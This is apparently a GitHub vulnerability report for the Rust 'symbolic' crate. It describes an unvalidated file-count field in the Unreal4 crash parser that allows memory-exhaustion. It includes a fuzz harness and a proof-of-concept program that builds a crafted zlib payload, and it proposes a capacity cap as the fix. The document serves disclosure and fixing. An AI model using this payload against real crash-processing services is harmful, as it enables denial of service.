Closed
Description
I'm using the following fuzzer harness
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
drop(symbolic::unreal::Unreal4Crash::parse_with_limit(data, 1024*1024));
});
And 1MB should be enough to never OOM. But the issue is that
symbolic/symbolic-unreal/src/container.rs
Lines 111 to 122 in 5157490
count
is read directly from the file, and not validated in any way. Therefore, a malicious file can cause the Vec to be allocated with an arbitrarily large count.
I suggest just capping the capacity here to something small. (Say, 64?). That would imply extra allocations if the file actually has more than that, but that's cheap enough, and most definitely better than an OOM. The capacity here is just a hint, anyways.
A sample program that shows off the vulnerability is
use flate2::write::ZlibEncoder;
use std::io::Write;
fn main() {
let mut bytes = Vec::new();
bytes.extend_from_slice(b"\x00\x00\x00\x00"); // Directory Name (AnsiString)
bytes.extend_from_slice(b"\x00\x00\x00\x00"); // File Name (AnsiString)
bytes.extend_from_slice(b"\x00\x00\x00\x00"); // Uncompressed Size (i32 LE)
bytes.extend_from_slice(b"\xff\xff\xff\x40"); // File Count (i32 LE)
// File Count is what we're targeting, but we need the bits at the front.
let mut enc = ZlibEncoder::new(Vec::new(), flate2::Compression::default());
enc.write_all(&bytes).unwrap();
let compressed = enc.finish().unwrap();
drop(dbg!(symbolic::unreal::Unreal4Crash::parse_with_limit(&compressed, 1024*1024)));
// drop is just to ignore the unused Result warning
}
Metadata
Metadata
Assignees
Labels
No labels